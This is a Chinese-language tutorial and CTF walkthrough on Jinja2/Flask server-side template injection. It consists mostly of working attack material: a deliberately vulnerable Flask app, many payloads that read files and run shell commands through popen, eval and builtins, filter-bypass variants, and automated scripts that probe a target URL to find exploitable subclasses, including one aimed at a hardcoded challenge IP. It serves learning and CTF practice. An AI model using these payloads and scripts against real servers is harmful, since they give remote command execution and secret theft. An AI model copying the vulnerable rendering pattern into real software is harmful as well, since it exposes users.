介绍
SSTI(Server-Side Template Injection,服务器端模板注入)是 Web 安全中一种高危漏洞,Python 生态里最常见的就是 Jinja2(Flask/Django 常用模板引擎)的 SSTI 漏洞。
flask 是使用Jinja2来作为渲染引擎的,网站根目录下的templates文件夹是用来存放html文件,即模板文件。
flask的渲染方法有:
render_template和render_template_string两种,render_templatet()是用来渲染一个指定的文件的,render_template_string则是用来渲染一个字符串的,不正确的使用flask中的render_templateLstring 方法会引发SSTI。
模板引擎(如Flask使用的Jinja2)会将特定的表达式或占位符,如{{}}视为代码进行解析。
举例:
你去奶茶店点单,店员有个「模板话术」:“您点的是{{drink}},甜度{{sugar}}"。正常情况下,你输入drink=珍珠奶茶、sugar=正常,会输出"您点的是珍珠奶茶,甜度正常”;但如果你恶意输入drink={{7*7}},店员直接把这个「模板指令」执行了,输出"您点的是49,甜度正常"——** 这就是模板注入的核心:用户输入被当成模板代码执行了。**
搭建一个简单的测试环境:
安装依赖:pip install flask
运行下面的脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
from flask import Flask, request, render_template_string
app = Flask(__name__)
# 关闭调试模式不影响漏洞,仅为模拟真实环境
app.config['DEBUG'] = False
@app.route('/')
def index():
# 接收用户输入的name参数
name = request.args.get('name', 'Guest')
# 【漏洞核心】直接拼接用户输入到模板字符串中
template = f'<h1>Hello, {name}!</h1>'
# 渲染模板(会解析{{}}语法)
return render_template_string(template)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
|
- 安装依赖:
pip install flask
- 运行脚本:
python test_ssti.py
- 访问测试:
- 正常输入:
http://127.0.0.1:5000/?name=test → 输出Hello, test!
- 注入计算:
http://127.0.0.1:5000/?name={{100*5}} → 输出Hello, 500!
- 读取配置:
http://127.0.0.1:5000/?name={{config}} → 看到 Flask 的配置字典(含 SECRET_KEY)
- 执行命令(Linux):
http://127.0.0.1:5000/?name={{__import__('os').popen('id').read()}} → 输出当前用户 ID
利用方法
利用子类可直接调用的函数
注:该部分涉及到Python的面向对象,可以查阅之前的相关文章
- 魔术方法
| 魔术方法 |
描述 |
__class__ |
返回对象所属的类。 |
__base__ |
返回该类所继承的上一个基类。(常用于查找基类) |
__mro__ |
返回一个类所继承的基类元组 (Method Resolution Order)。方法在解析时按照元组的顺序解析。(常用于查找基类) |
__subclasses__ |
每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的子类引用的列表。 |
__init__ |
类的初始化方法,在对象创建后被调用。 |
__globals__ |
对包含函数全局变量的字典的引用。 |
- 常用payload:
读取当前类:
读取当前类的父类:
1
|
{{''.__class__.__base__}}
|
读取当前类的父类下的所有子类:
1
|
{{''.__class__.__base__.__subclasses__()}}
|
选择其中的一个子类:
1
|
{{''.__class__.__base__.__subclasses__()[68]}}
|
补充:
__mro__[xx]也可以用于读取父类,因为有时候__base__会被过滤,相较于base是一级一级退,mro可以直接在中括号中填写要退的级数,因此它可以一次性退很多级。
通常,<class '_frozen_importlib_external.FileLoader'>类下的get_data函数可以进行文件读取:

如何定位这个类的位置(序号)?
可以使用下面的python脚本来定位:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
|
import requests
import html
import re
target_class = "<class '_frozen_importlib_external.FileLoader'>"
try:
url = input("请输入URL: ").strip()
if not url:
print("错误:URL不能为空")
exit(1)
payload = "{{''.__class__.__base__.__subclasses__()}}"
# 规范拼接URL参数(使用params避免手动拼接)
params = {"a": payload}
# 设置请求头和超时,提升健壮性
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
}
# 发送请求(添加超时+异常处理)
response = requests.get(
url,
params=params,
headers=headers,
timeout=10,
verify=False # 如需验证SSL可改为True
)
response.raise_for_status() # 非200状态码抛出异常
response.encoding = response.apparent_encoding # 自动识别编码
# 匹配<div class="result">中包裹的列表内容
pattern = r'<div class="result">\s*\[(.*?)\]\s*</div>'
match = re.search(pattern, response.text, re.DOTALL)
if not match:
print("错误:未找到匹配的类列表内容")
print("响应内容预览:", response.text[:500]) # 打印预览帮助排查
exit(1)
# 提取并处理类列表字符串
classes_string = match.group(1)
# 解码HTML实体 + 分割处理
classes = [
c.strip() for c in html.unescape(classes_string).split(',')
if c.strip()
]
# 查找目标类索引(添加异常处理)
index = classes.index(target_class)
print(f"✅ 找到目标类,索引是: {index}")
except requests.exceptions.RequestException as e:
print(f"❌ 请求错误:{e}")
except ValueError:
print(f"❌ 未在列表中找到目标类:{target_class}")
print("当前找到的类列表前10项:", classes[:10] if 'classes' in locals() else "无")
except Exception as e:
print(f"❌ 未知错误:{type(e).__name__} - {e}")
|
最终payload:
1
|
{{''.__class__.__base__.__subclasses__()[121]["get_data"](0,"/flag")}}
|
利用重载函数
比如高危函数:popen
选择一个子类并初始化:
1
|
{{''.__class__.__base__.__subclasses__()[1].__init__}}
|
如果结果带wrapper(指的是一个函数或方法被另一个函数替换或封装了,不再是其原生、未受限的版本)
如:<slot wrapper '__init__' of 'object' objects>
说明没有重载,不能用,需要寻找不带wrapper的
加载类下的可用函数:
1
|
{{''.__class__.__base__.__subclasses__()[103].__init__.__globals__}}
|
我们需要找到可用函数中包含popen的序列,所以查找可重载并筛选(可选)的任务可使用下面的脚本来进行:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
|
import requests
import html
import re
import time
def get_subclasses_count(url):
"""第一步:获取子类总数"""
payload = "{{''.__class__.__base__.__subclasses__()}}"
params = {"a": payload}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
}
try:
response = requests.get(
url,
params=params,
headers=headers,
timeout=10,
verify=False
)
response.raise_for_status()
response.encoding = response.apparent_encoding
# 匹配子类列表
pattern = r'<div class="result">\s*\[(.*?)\]\s*</div>'
match = re.search(pattern, response.text, re.DOTALL)
if not match:
print("❌ 未获取到子类列表,响应预览:")
print(response.text[:500])
return 0
# 解析子类数量
classes_string = match.group(1)
classes = [c.strip() for c in html.unescape(classes_string).split(',') if c.strip()]
count = len(classes)
print(f"✅ 第一步:成功获取到 {count} 个子类")
return count
except Exception as e:
print(f"❌ 获取子类数量失败:{e}")
return 0
def test_init_method(url, index):
"""测试指定序号的__init__方法,返回是否含wrapper"""
payload = f"{{{{''.__class__.__base__.__subclasses__()[{index}].__init__}}}}"
params = {"a": payload}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
}
try:
response = requests.get(
url,
params=params,
headers=headers,
timeout=10,
verify=False
)
response.raise_for_status()
response.encoding = response.apparent_encoding
# 提取result区域的内容
pattern = r'<div class="result">\s*(.*?)\s*</div>'
match = re.search(pattern, response.text, re.DOTALL)
if not match:
return True
result_content = match.group(1).lower()
has_wrapper = "wrapper" in result_content
return has_wrapper
except Exception as e:
print(f"⚠️ 测试序号{index}时出错:{e},已跳过")
return True
def test_popen_in_globals(url, index):
"""测试指定序号的__init__.__globals__,返回是否含Popen及完整返回内容"""
payload = f"{{{{''.__class__.__base__.__subclasses__()[{index}].__init__.__globals__}}}}"
params = {"a": payload}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
}
try:
response = requests.get(
url,
params=params,
headers=headers,
timeout=10,
verify=False
)
response.raise_for_status()
response.encoding = response.apparent_encoding
# 提取result区域的内容
pattern = r'<div class="result">\s*(.*?)\s*</div>'
match = re.search(pattern, response.text, re.DOTALL)
if not match:
return False, ""
result_content = match.group(1)
# 判断是否包含Popen(大小写不敏感)
has_popen = "popen" in result_content.lower()
return has_popen, result_content
except Exception as e:
print(f"⚠️ 检测序号{index}的Popen时出错:{e},已跳过")
return False, ""
def generate_ls_payload(index):
"""生成执行ls命令的完整payload"""
# 通用版ls payload(适配大多数Python SSTI场景)
payload1 = f"{{{{''.__class__.__base__.__subclasses__()[{index}].__init__.__globals__['popen']('ls').read()}}}}"
return {
"已生成payload": payload1
}
def main():
# 输入目标URL
url = input("请输入测试URL: ").strip()
if not url:
print("❌ URL不能为空")
return
# 第一步:获取子类总数
subclasses_count = get_subclasses_count(url)
if subclasses_count == 0:
return
# 第二步:逐个测试每个子类的__init__方法,筛选不含wrapper的序号
print("\n🔍 第二步:开始测试__init__方法,筛选不含wrapper的序号...")
print("="*80)
valid_indexes = []
for index in range(subclasses_count):
if index % 10 == 0:
print(f"📌 进度:{index}/{subclasses_count}")
has_wrapper = test_init_method(url, index)
if not has_wrapper:
valid_indexes.append(index)
print(f"✅ 序号{index}:不含wrapper,加入候选列表")
time.sleep(0.1)
if not valid_indexes:
print("❌ 未找到不含wrapper的序号,测试结束")
return
print("="*80)
print(f"\n📊 第二步完成!共找到 {len(valid_indexes)} 个不含wrapper的序号:{valid_indexes}")
# 第三步:可选 - 从候选序号中查找含Popen的序号
check_popen = input("\n是否需要从候选序号中查找含Popen的序号?(y/n):").strip().lower()
if check_popen != "y":
print("\n📋 最终不含wrapper的序号列表:", valid_indexes)
return
print("\n🔍 第三步:开始检测候选序号中的Popen函数(找到即停止)...")
print("="*80)
popen_index = None
popen_content = ""
for index in valid_indexes:
print(f"📌 正在检测序号{index}...")
has_popen, content = test_popen_in_globals(url, index)
if has_popen:
popen_index = index
popen_content = content
print(f"✅ 序号{index}:检测到Popen函数!停止测试")
break
time.sleep(0.1)
# 输出Popen检测结果
print("="*80)
if popen_index is not None:
print(f"\n🎉 找到可执行命令的序号:{popen_index}")
# 生成ls payload
payloads = generate_ls_payload(popen_index)
print("\n🚀 可执行ls命令的payload:")
for name, payload in payloads.items():
print(f"{name}:{payload}")
else:
print("\n❌ 所有候选序号中均未检测到Popen函数")
print("📋 不含wrapper的序号列表:", valid_indexes)
if __name__ == "__main__":
main()
|
填入脚本生成的payload,修改read()前括号中的命令直到读取到flag为止
1
|
{{''.__class__.__base__.__subclasses__()[141].__init__.__globals__['popen']('ls /').read()}}
|
1
|
{{''.__class__.__base__.__subclasses__()[141].__init__.__globals__['popen']('cat /flag').read()}}
|
利用内嵌函数
首先需要的是已经重载的类
使用__builtins__加载内嵌函数,再调用内嵌函数
比如调用eval:
1
|
{{''.__class__.__base__.__subclasses__()[103].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls /').read()")}}
|
1
|
{{''.__class__.__base__.__subclasses__()[103].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}
|
加上__builtins__后,可以访问到所有 Python 的内置函数,而不必局限于当前命名空间或特定类的静态方法。
其他 payload
利用 open 函数读取文件:
1
|
{{lipsum.__globals__.__builtins__.open('/flag').read()}}
|
调用 os 模块执行 os.popen():
1
2
3
4
5
|
{{joiner.__init__.__globals__.os.popen('ls /').read()}}
{{cycler.__init__.__globals__.os.popen('cat /flag').read()}}
{{namespace.__init__.__globals__.os.popen('whoami').read()}}
|
利用 lipsum 执行命令:
1
|
{{lipsum.__globals__['os']['popen']('ls /').read()}}
|
常见绕过突破
过滤中括号
使用.pop(xx)代替[xx]
payload1:
1
|
{{''.__class__.__base__.__subclasses__().pop(121).get_data(0,"/flag")}}
|
payload2:
1
|
{{''.__class__.__base__.__subclasses__().pop(141).__init__.__globals__.popen('cat /flag').read()}}
|
过滤了点
换一个写法:
attr 是一个过滤器,用于获取变量:
1
|
{{''.__class__}} --> {{''|attr('__class__')}}
|
payload:
1
|
{{''.__class__.__base__.__subclasses__()[141].__init__.__globals__['popen']('cat /flag').read()}}
|
对于上述两种绕过,可以使用给出的脚本ssti.py
过滤下划线
| 对象 |
获取数据的方式 |
对应的 HTTP 方法 |
request.form |
从 请求体(Body) 中解析表单数据 |
主要是 POST |
request.args |
从 URL 查询字符串 中获取参数 |
主要是 GET |
fenjing 使用
1
2
|
pip install fenjing
fenjing webui
|
例题
ssti1(无过滤)
1
|
{{''.__class__.__base__.__subclasses__()[121]["get_data"](0,"/flag")}}
|
ssti2(过滤点)
1
|
{{''.__class__.__base__.__subclasses__().pop(141).__init__.__globals__.popen('cat /flag').read()}}
|
ssti3(过滤中括号和点)
1
|
{{''|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(141)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen')('cat /flag')|attr('read')()}}
|
ssti4(过滤中括号和下划线)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
import requests
target_url = "http://47.109.105.62:33144/" # 替换成题目实际地址
payload_param = "a"
# ========== 完全保留你提供的payload ==========
payload = '{{\'\'|attr(request.args.p1)|attr(request.args.p2)|attr(request.args.p3)()|attr(\'pop\')(121)|attr(request.args.p4)(0,"/flag")}}'
# ========== 完全保留你提供的参数(p4=get_data) ==========
params = {
payload_param: payload, # payload放在题目指定参数里
'p1': '__class__',
'p2': '__base__',
'p3': '__subclasses__',
'p4': 'get_data'
}
# ========== 发送请求(GET方式,适配request.args) ==========
try:
response = requests.get(target_url, params=params, timeout=10)
# 输出结果
print(f"请求URL(可直接复制到浏览器):\n{response.url}")
print("\n响应状态码:", response.status_code)
print("\n响应内容(含flag):")
print(response.text)
except Exception as e:
print("请求失败:", str(e))
|